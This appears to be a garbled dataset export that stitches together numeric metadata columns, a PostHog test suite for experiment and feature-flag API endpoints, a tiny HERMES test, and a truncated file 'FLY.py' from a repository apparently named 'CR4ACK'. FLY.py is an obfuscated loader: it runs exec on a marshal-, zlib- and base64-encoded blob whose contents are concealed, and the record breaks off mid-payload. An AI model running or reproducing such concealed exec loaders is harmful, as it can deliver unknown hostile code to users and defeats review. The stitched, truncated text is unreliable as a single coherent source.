| 19.75
| 31
| 0.575949
| 20
| 158
| 4.45
| 0.6
| 0.11236
| 0.337079
| 0.404494
| 0.516854
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.278481
| 158
| 8
| 32
| 19.75
| 0.780702
| 0
| 0
| 0.333333
| 0
| 0
| 0.050314
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
fbc56a1a876189e820ff224f2f8da6f48f33f781
| 33,007
|
py
|
Python
|
ee/clickhouse/views/test/test_clickhouse_experiments.py
|
boost-entropy-python/posthog
|
a1de35397ffa4ebd9306f34ebd9dbb7dbff5b356
|
[
"MIT"
] | null | null | null |
ee/clickhouse/views/test/test_clickhouse_experiments.py
|
boost-entropy-python/posthog
|
a1de35397ffa4ebd9306f34ebd9dbb7dbff5b356
|
[
"MIT"
] | null | null | null |
ee/clickhouse/views/test/test_clickhouse_experiments.py
|
boost-entropy-python/posthog
|
a1de35397ffa4ebd9306f34ebd9dbb7dbff5b356
|
[
"MIT"
] | 2
|
2021-06-22T19:02:52.000Z
|
2021-08-16T12:31:45.000Z
|
from datetime import datetime
from rest_framework import status
from ee.api.test.base import LicensedTestMixin
from ee.clickhouse.test.test_journeys import journeys_for
from ee.clickhouse.util import ClickhouseTestMixin, snapshot_clickhouse_queries
from posthog.models.experiment import Experiment
from posthog.models.feature_flag import FeatureFlag
from posthog.test.base import APIBaseTest
class TestExperimentCRUD(APIBaseTest):
def test_creating_updating_basic_experiment(self):
ff_key = "a-b-tests"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2021-12-01T10:23",
"end_date": None,
"feature_flag_key": ff_key,
"parameters": None,
"filters": {
"events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}],
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
],
},
},
)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response.json()["name"], "Test Experiment")
self.assertEqual(response.json()["feature_flag_key"], ff_key)
created_ff = FeatureFlag.objects.get(key=ff_key)
self.assertEqual(created_ff.key, ff_key)
self.assertEqual(created_ff.filters["multivariate"]["variants"][0]["key"], "control")
self.assertEqual(created_ff.filters["multivariate"]["variants"][1]["key"], "test")
self.assertEqual(created_ff.filters["groups"][0]["properties"][0]["key"], "$geoip_country_name")
id = response.json()["id"]
end_date = "2021-12-10T00:00"
# Now update
response = self.client.patch(
f"/api/projects/{self.team.id}/experiments/{id}", {"description": "Bazinga", "end_date": end_date,},
)
self.assertEqual(response.status_code, status.HTTP_200_OK)
experiment = Experiment.objects.get(pk=id)
self.assertEqual(experiment.description, "Bazinga")
self.assertEqual(experiment.end_date.strftime("%Y-%m-%dT%H:%M"), end_date)
def test_invalid_create(self):
# Draft experiment
ff_key = "a-b-tests"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": None, # invalid
"description": "",
"start_date": None,
"end_date": None,
"feature_flag_key": ff_key,
"parameters": {},
"filters": {}, # also invalid
},
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.json()["detail"], "This field may not be null.")
ff_key = "a-b-tests"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "None",
"description": "",
"start_date": None,
"end_date": None,
"feature_flag_key": ff_key,
"parameters": {},
"filters": {}, # still invalid
},
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.json()["detail"], "Filters are required to create an Experiment")
def test_invalid_update(self):
# Draft experiment
ff_key = "a-b-tests"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": None,
"end_date": None,
"feature_flag_key": ff_key,
"parameters": {},
"filters": {"events": []},
},
)
id = response.json()["id"]
# Now update
response = self.client.patch(
f"/api/projects/{self.team.id}/experiments/{id}",
{"description": "Bazinga", "filters": {}, "feature_flag_key": "new_key",}, # invalid
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.json()["detail"], "Can't update keys: get_feature_flag_key on Experiment")
def test_cant_reuse_existing_feature_flag(self):
ff_key = "a-b-test"
FeatureFlag.objects.create(
team=self.team, rollout_percentage=50, name="Beta feature", key=ff_key, created_by=self.user,
)
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2021-12-01T10:23",
"end_date": None,
"feature_flag_key": ff_key,
"parameters": None,
"filters": {"events": []},
},
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.json()["detail"], "There is already a feature flag with this key.")
def test_draft_experiment_doesnt_have_FF_active(self):
# Draft experiment
ff_key = "a-b-tests"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": None,
"end_date": None,
"feature_flag_key": ff_key,
"parameters": {},
"filters": {"events": []},
},
)
id = response.json()["id"]
created_ff = FeatureFlag.objects.get(key=ff_key)
self.assertEqual(created_ff.key, ff_key)
self.assertFalse(created_ff.active)
def test_launching_draft_experiment_activates_FF(self):
# Draft experiment
ff_key = "a-b-tests"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": None,
"end_date": None,
"feature_flag_key": ff_key,
"parameters": {},
"filters": {"events": []},
},
)
id = response.json()["id"]
created_ff = FeatureFlag.objects.get(key=ff_key)
self.assertEqual(created_ff.key, ff_key)
self.assertFalse(created_ff.active)
response = self.client.patch(
f"/api/projects/{self.team.id}/experiments/{id}",
{"description": "Bazinga", "start_date": "2021-12-01T10:23"},
)
self.assertEqual(response.status_code, status.HTTP_200_OK)
updated_ff = FeatureFlag.objects.get(key=ff_key)
self.assertTrue(updated_ff.active)
def test_create_multivariate_experiment(self):
ff_key = "a-b-test"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2021-12-01T10:23",
"end_date": None,
"feature_flag_key": ff_key,
"parameters": {
"feature_flag_variants": [
{"key": "control", "name": "Control Group", "rollout_percentage": 33},
{"key": "test_1", "name": "Test Variant", "rollout_percentage": 33},
{"key": "test_2", "name": "Test Variant", "rollout_percentage": 34},
]
},
"filters": {
"events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}],
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
],
},
},
)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response.json()["name"], "Test Experiment")
self.assertEqual(response.json()["feature_flag_key"], ff_key)
created_ff = FeatureFlag.objects.get(key=ff_key)
self.assertEqual(created_ff.key, ff_key)
self.assertEqual(created_ff.active, True)
self.assertEqual(created_ff.filters["multivariate"]["variants"][0]["key"], "control")
self.assertEqual(created_ff.filters["multivariate"]["variants"][1]["key"], "test_1")
self.assertEqual(created_ff.filters["multivariate"]["variants"][2]["key"], "test_2")
self.assertEqual(created_ff.filters["groups"][0]["properties"][0]["key"], "$geoip_country_name")
id = response.json()["id"]
# Now try updating FF
response = self.client.patch(
f"/api/projects/{self.team.id}/experiments/{id}",
{
"description": "Bazinga",
"parameters": {"feature_flag_variants": [{"key": "control", "name": "X", "rollout_percentage": 33}]},
},
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.json()["detail"], "Can't update feature_flag_variants on Experiment")
# Now try changing FF rollout %s
response = self.client.patch(
f"/api/projects/{self.team.id}/experiments/{id}",
{
"description": "Bazinga",
"parameters": {
"feature_flag_variants": [
{"key": "control", "name": "Control Group", "rollout_percentage": 34},
{"key": "test_1", "name": "Test Variant", "rollout_percentage": 33},
{"key": "test_2", "name": "Test Variant", "rollout_percentage": 32},
]
},
},
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.json()["detail"], "Can't update feature_flag_variants on Experiment")
# Now try changing FF keys
response = self.client.patch(
f"/api/projects/{self.team.id}/experiments/{id}",
{
"description": "Bazinga",
"parameters": {
"feature_flag_variants": [
{"key": "control", "name": "Control Group", "rollout_percentage": 33},
{"key": "test", "name": "Test Variant", "rollout_percentage": 33},
{"key": "test2", "name": "Test Variant", "rollout_percentage": 34},
]
},
},
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.json()["detail"], "Can't update feature_flag_variants on Experiment")
# Now try updating other parameter keys
response = self.client.patch(
f"/api/projects/{self.team.id}/experiments/{id}",
{"description": "Bazinga", "parameters": {"recommended_sample_size": 1500},},
)
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.json()["parameters"]["recommended_sample_size"], 1500)
def test_creating_invalid_multivariate_experiment_no_control(self):
ff_key = "a-b-test"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2021-12-01T10:23",
"end_date": None,
"feature_flag_key": ff_key,
"parameters": {
"feature_flag_variants": [
# no control
{"key": "test_0", "name": "Control Group", "rollout_percentage": 33},
{"key": "test_1", "name": "Test Variant", "rollout_percentage": 33},
{"key": "test_2", "name": "Test Variant", "rollout_percentage": 33},
]
},
"filters": {
"events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}],
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
],
},
},
)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.json()["detail"], "Feature flag variants must contain a control variant")
def test_deleting_experiment_soft_deletes_feature_flag(self):
ff_key = "a-b-tests"
data = {
"name": "Test Experiment",
"description": "",
"start_date": "2021-12-01T10:23",
"end_date": None,
"feature_flag_key": ff_key,
"parameters": None,
"filters": {
"events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}],
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
],
},
}
response = self.client.post(f"/api/projects/{self.team.id}/experiments/", data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response.json()["name"], "Test Experiment")
self.assertEqual(response.json()["feature_flag_key"], ff_key)
created_ff = FeatureFlag.objects.get(key=ff_key)
id = response.json()["id"]
# Now delete the experiment
response = self.client.delete(f"/api/projects/{self.team.id}/experiments/{id}")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
with self.assertRaises(Experiment.DoesNotExist):
Experiment.objects.get(pk=id)
# soft deleted
self.assertEqual(FeatureFlag.objects.get(pk=created_ff.id).deleted, True)
# can recreate new experiment with same FF key
response = self.client.post(f"/api/projects/{self.team.id}/experiments/", data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_deleting_feature_flag_deletes_experiment(self):
ff_key = "a-b-tests"
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2021-12-01T10:23",
"end_date": None,
"feature_flag_key": ff_key,
"parameters": None,
"filters": {
"events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}],
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
],
},
},
)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response.json()["name"], "Test Experiment")
self.assertEqual(response.json()["feature_flag_key"], ff_key)
created_ff = FeatureFlag.objects.get(key=ff_key)
id = response.json()["id"]
# Now delete the feature flag
response = self.client.delete(f"/api/projects/{self.team.id}/feature_flags/{created_ff.pk}/")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertFalse(FeatureFlag.objects.filter(pk=created_ff.pk).exists())
with self.assertRaises(Experiment.DoesNotExist):
Experiment.objects.get(pk=id)
class ClickhouseTestFunnelExperimentResults(ClickhouseTestMixin, LicensedTestMixin, APIBaseTest):
@snapshot_clickhouse_queries
def test_experiment_flow_with_event_results(self):
journeys_for(
{
"person1": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test"},},
{"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test"},},
],
"person2": [
{"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "control"}},
{"event": "$pageleave", "timestamp": "2020-01-05", "properties": {"$feature/a-b-test": "control"}},
],
"person3": [
{"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}},
{"event": "$pageleave", "timestamp": "2020-01-05", "properties": {"$feature/a-b-test": "control"}},
],
# doesn't have feature set
"person_out_of_control": [
{"event": "$pageview", "timestamp": "2020-01-03",},
{"event": "$pageleave", "timestamp": "2020-01-05",},
],
"person_out_of_end_date": [
{"event": "$pageview", "timestamp": "2020-08-03", "properties": {"$feature/a-b-test": "control"}},
{"event": "$pageleave", "timestamp": "2020-08-05", "properties": {"$feature/a-b-test": "control"}},
],
# non-converters with FF
"person4": [
{"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "test"},},
],
"person5": [
{"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test"},},
],
},
self.team,
)
ff_key = "a-b-test"
# generates the FF which should result in the above events^
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2020-01-01T00:00",
"end_date": "2020-01-06T00:00",
"feature_flag_key": ff_key,
"parameters": None,
"filters": {
"insight": "funnels",
"events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}],
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
# properties superceded by FF breakdown
],
},
},
)
id = response.json()["id"]
response = self.client.get(f"/api/projects/{self.team.id}/experiments/{id}/results")
self.assertEqual(200, response.status_code)
response_data = response.json()
result = sorted(response_data["insight"], key=lambda x: x[0]["breakdown_value"][0])
self.assertEqual(result[0][0]["name"], "$pageview")
self.assertEqual(result[0][0]["count"], 2)
self.assertEqual("control", result[0][0]["breakdown_value"][0])
self.assertEqual(result[0][1]["name"], "$pageleave")
self.assertEqual(result[0][1]["count"], 2)
self.assertEqual("control", result[0][1]["breakdown_value"][0])
self.assertEqual(result[1][0]["name"], "$pageview")
self.assertEqual(result[1][0]["count"], 3)
self.assertEqual("test", result[1][0]["breakdown_value"][0])
self.assertEqual(result[1][1]["name"], "$pageleave")
self.assertEqual(result[1][1]["count"], 1)
self.assertEqual("test", result[1][1]["breakdown_value"][0])
# Variant with test: Beta(2, 3) and control: Beta(3, 1) distribution
# The variant has very low probability of being better.
self.assertAlmostEqual(response_data["probability"]["test"], 0.2619, places=2)
@snapshot_clickhouse_queries
def test_experiment_flow_with_event_results_for_three_test_variants(self):
journeys_for(
{
"person1_2": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_2"},},
{"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test_2"},},
],
"person1_1": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},},
{"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test_1"},},
],
"person2_1": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},},
{"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test_1"},},
],
"person1": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test"},},
{"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test"},},
],
"person2": [
{"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "control"}},
{"event": "$pageleave", "timestamp": "2020-01-05", "properties": {"$feature/a-b-test": "control"}},
],
"person3": [
{"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}},
{"event": "$pageleave", "timestamp": "2020-01-05", "properties": {"$feature/a-b-test": "control"}},
],
# doesn't have feature set
"person_out_of_control": [
{"event": "$pageview", "timestamp": "2020-01-03",},
{"event": "$pageleave", "timestamp": "2020-01-05",},
],
"person_out_of_end_date": [
{"event": "$pageview", "timestamp": "2020-08-03", "properties": {"$feature/a-b-test": "control"}},
{"event": "$pageleave", "timestamp": "2020-08-05", "properties": {"$feature/a-b-test": "control"}},
],
# non-converters with FF
"person4": [
{"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "test"},},
],
"person5": [
{"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test"},},
],
"person6_1": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},},
],
},
self.team,
)
ff_key = "a-b-test"
# generates the FF which should result in the above events^
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2020-01-01T00:00",
"end_date": "2020-01-06T00:00",
"feature_flag_key": ff_key,
"parameters": {
"feature_flag_variants": [
{"key": "control", "name": "Control Group", "rollout_percentage": 25},
{"key": "test_1", "name": "Test Variant 1", "rollout_percentage": 25},
{"key": "test_2", "name": "Test Variant 2", "rollout_percentage": 25},
{"key": "test", "name": "Test Variant 3", "rollout_percentage": 25},
]
},
"filters": {
"insight": "funnels",
"events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}],
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
# properties superceded by FF breakdown
],
},
},
)
id = response.json()["id"]
response = self.client.get(f"/api/projects/{self.team.id}/experiments/{id}/results")
self.assertEqual(200, response.status_code)
response_data = response.json()
result = sorted(response_data["insight"], key=lambda x: x[0]["breakdown_value"][0])
self.assertEqual(result[0][0]["name"], "$pageview")
self.assertEqual(result[0][0]["count"], 2)
self.assertEqual("control", result[0][0]["breakdown_value"][0])
self.assertEqual(result[0][1]["name"], "$pageleave")
self.assertEqual(result[0][1]["count"], 2)
self.assertEqual("control", result[0][1]["breakdown_value"][0])
self.assertEqual(result[1][0]["name"], "$pageview")
self.assertEqual(result[1][0]["count"], 3)
self.assertEqual("test", result[1][0]["breakdown_value"][0])
self.assertEqual(result[1][1]["name"], "$pageleave")
self.assertEqual(result[1][1]["count"], 1)
self.assertEqual("test", result[1][1]["breakdown_value"][0])
self.assertAlmostEqual(response_data["probability"]["test"], 0.095, places=2)
self.assertAlmostEqual(response_data["probability"]["test_1"], 0.193, places=2)
self.assertAlmostEqual(response_data["probability"]["test_2"], 0.372, places=2)
self.assertAlmostEqual(response_data["probability"]["control"], 0.340, places=2)
class ClickhouseTestTrendExperimentResults(ClickhouseTestMixin, LicensedTestMixin, APIBaseTest):
@snapshot_clickhouse_queries
def test_experiment_flow_with_event_results(self):
journeys_for(
{
"person1": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test"},},
],
"person2": [
{"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "control"}},
],
"person3": [
{"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}},
],
# doesn't have feature set
"person_out_of_control": [{"event": "$pageview", "timestamp": "2020-01-03",},],
"person_out_of_end_date": [
{"event": "$pageview", "timestamp": "2020-08-03", "properties": {"$feature/a-b-test": "control"}},
],
},
self.team,
)
ff_key = "a-b-test"
# generates the FF which should result in the above events^
creation_response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2020-01-01T00:00",
"end_date": "2020-01-06T00:00",
"feature_flag_key": ff_key,
"parameters": None,
"filters": {
"insight": "trends",
"events": [{"order": 0, "id": "$pageview"}],
"display": "ActionsLineGraphCumulative",
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
# properties superceded by FF breakdown
],
},
},
)
id = creation_response.json()["id"]
response = self.client.get(f"/api/projects/{self.team.id}/experiments/{id}/results")
self.assertEqual(200, response.status_code)
response_data = response.json()
result = sorted(response_data["insight"], key=lambda x: x["breakdown_value"])
self.assertEqual(result[0]["count"], 2)
self.assertEqual("control", result[0]["breakdown_value"])
self.assertEqual(result[1]["count"], 1)
self.assertEqual("test", result[1]["breakdown_value"])
# Variant with test: Beta(2, 1) and control: Beta(3, 1) distribution
# The variant has low probability of being better.
self.assertAlmostEqual(response_data["probability"]["test"], 0.313, places=2)
@snapshot_clickhouse_queries
def test_experiment_flow_with_event_results_for_three_test_variants(self):
journeys_for(
{
"person1_2": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_2"},},
],
"person1_1": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},},
],
"person2_1": [
{"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},},
],
# "person1": [
# {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test"},},
# ],
"person2": [
{"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "control"}},
],
"person3": [
{"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}},
],
"person4": [
{"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}},
],
# doesn't have feature set
"person_out_of_control": [{"event": "$pageview", "timestamp": "2020-01-03",},],
"person_out_of_end_date": [
{"event": "$pageview", "timestamp": "2020-08-03", "properties": {"$feature/a-b-test": "control"}},
],
},
self.team,
)
ff_key = "a-b-test"
# generates the FF which should result in the above events^
response = self.client.post(
f"/api/projects/{self.team.id}/experiments/",
{
"name": "Test Experiment",
"description": "",
"start_date": "2020-01-01T00:00",
"end_date": "2020-01-06T00:00",
"feature_flag_key": ff_key,
"parameters": {
"feature_flag_variants": [
{"key": "control", "name": "Control Group", "rollout_percentage": 25},
{"key": "test_1", "name": "Test Variant 1", "rollout_percentage": 25},
{"key": "test_2", "name": "Test Variant 2", "rollout_percentage": 25},
{"key": "test", "name": "Test Variant 3", "rollout_percentage": 25},
]
},
"filters": {
"insight": "trends",
"events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}],
"properties": [
{"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"}
# properties superceded by FF breakdown
],
},
},
)
id = response.json()["id"]
response = self.client.get(f"/api/projects/{self.team.id}/experiments/{id}/results")
self.assertEqual(200, response.status_code)
response_data = response.json()
result = sorted(response_data["insight"], key=lambda x: x["breakdown_value"])
self.assertEqual(result[0]["count"], 3)
self.assertEqual("control", result[0]["breakdown_value"])
self.assertEqual(result[1]["count"], 2)
self.assertEqual("test_1", result[1]["breakdown_value"])
self.assertEqual(result[2]["count"], 1)
self.assertEqual("test_2", result[2]["breakdown_value"])
# test missing from results, since no events
self.assertAlmostEqual(response_data["probability"]["test_1"], 0.299, places=2)
self.assertAlmostEqual(response_data["probability"]["test_2"], 0.119, places=2)
self.assertAlmostEqual(response_data["probability"]["control"], 0.583, places=2)
| 44.54386
| 119
| 0.515769
| 3,237
| 33,007
| 5.111214
| 0.076614
| 0.079782
| 0.016682
| 0.044787
| 0.891327
| 0.878997
| 0.873799
| 0.862859
| 0.849743
| 0.828951
| 0
| 0.039849
| 0.315751
| 33,007
| 740
| 120
| 44.604054
| 0.692716
| 0.039264
| 0
| 0.720131
| 0
| 0
| 0.309482
| 0.054975
| 0
| 0
| 0
| 0
| 0.168576
| 1
| 0.022913
| false
| 0
| 0.013093
| 0
| 0.040917
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fbcbd9dd3606104af4d34262a419ed455dfed018
| 124
|
py
|
Python
|
hermes_instrument/tests/test_file_tools.py
|
ehsteve/hermes_instrument
|
566fe8d1e5c05ead0ff81d862f223e4c3241c06c
|
[
"BSD-3-Clause"
] | null | null | null |
hermes_instrument/tests/test_file_tools.py
|
ehsteve/hermes_instrument
|
566fe8d1e5c05ead0ff81d862f223e4c3241c06c
|
[
"BSD-3-Clause"
] | 5
|
2022-01-16T21:00:28.000Z
|
2022-03-31T19:31:29.000Z
|
hermes_instrument/tests/test_file_tools.py
|
ehsteve/hermes_instrument
|
566fe8d1e5c05ead0ff81d862f223e4c3241c06c
|
[
"BSD-3-Clause"
] | 1
|
2022-01-25T21:43:35.000Z
|
2022-01-25T21:43:35.000Z
|
from hermes_instrument.io.file_tools import read_file
def test_read_file():
assert read_file("test_file.cdf") is None
| 20.666667
| 53
| 0.790323
| 21
| 124
| 4.333333
| 0.666667
| 0.263736
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.129032
| 124
| 5
| 54
| 24.8
| 0.842593
| 0
| 0
| 0
| 0
| 0
| 0.104839
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
83962f29bf9382a9922d3f80f7b1b263577bade1
| 16,976
|
py
|
Python
|
FLY.py
|
HAMI-CODER/CR4ACK
|
d4a95a151adc7eda0d8c8db7b27ec0df1761362b
|
[
"Apache-2.0"
] | 1
|
2021-11-20T08:41:43.000Z
|
2021-11-20T08:41:43.000Z
|
FLY.py
|
HAMI-CODER/CR4ACK
|
d4a95a151adc7eda0d8c8db7b27ec0df1761362b
|
[
"Apache-2.0"
] | null | null | null |
FLY.py
|
HAMI-CODER/CR4ACK
|
d4a95a151adc7eda0d8c8db7b27ec0df1761362b
|
[
"Apache-2.0"
] | null | null | null |
#compile by Aris Setya Channel
#Jangan di edit yah..!!
import marshal,zlib,base64
exec(marshal.loads(zlib.decompress(base64.b64decode(zlib.decompress('x\x9c\x15\x97\xc5\xb2\xa5@\x10D?\x88\x05v\xb1%\xee\xee\xecpw\xe7\xeb\xe7\xcd\x8e\x08:\xa0\xbb\xab*\xf3d\xa9|\x87%\x1c\xbb\x08\x17H\x01\xb5\x94+\x8cH\xc2\x16.(7\xdfT\xa0q *\x8f\xcbo\xfe\xfd[\xddWQ\x063\x8b\x87\xc2u\xb20\x98\xd7\x82t\xb1\xbe\x8f\xdb\x04h\x93\xd9\r\t\xb2\xc5\xef\xb0|\xbbT\x96\x90\x19\xf2\xab\x90p\xaa,+\xe6\xdaIf\xc8\xc90\xd5`\xdb\x13b\x9c\xc3B\xe7\xe0\xc7\x0b\xf4\xe5n`@\xec\x1e!\xcc\xdf7\xa0Z?)\x87\xfa\xed\xe69\x9c\x1e\xf7;?\xeaC\xcd\xaa\xccK\x92\xea\x9a\xda\x0f\xafak\x80\x07#A\x0f\xdc\x12\xfde;2U;3\\w=y\xc7Y\xee4\xa6pr\xc5\x1b\xe6z9\xe3\xac\x0f\x99\xac|#\xf5d\x11\xb8=\xbd\\:4\xa3<\x7f4\x1e\xe20swf\xd0\xb23\xfeE\xc2\xc7L\xee\x17\xbd\xb6\xd3\x85d\x19\x0b!_\xa5\xfd\x97U\t\xa0hc"\x90\xa1\x82S!\x12\x9a$\xc6\xb3\xd4\x8e\xdf\xee\x1d_J@\xb1\x9a\xb5%\xab*\x85\x1e3\x9a\xf0O\xed\xca\xc0\xd2\x0f\xc9\xd8v\x92=\xa5\xd0\xcd\x12\xb8\x95>uD+\xd2;\xae\xf7\x0eo\x14\xe2\xf7\x93z\x94\xb4 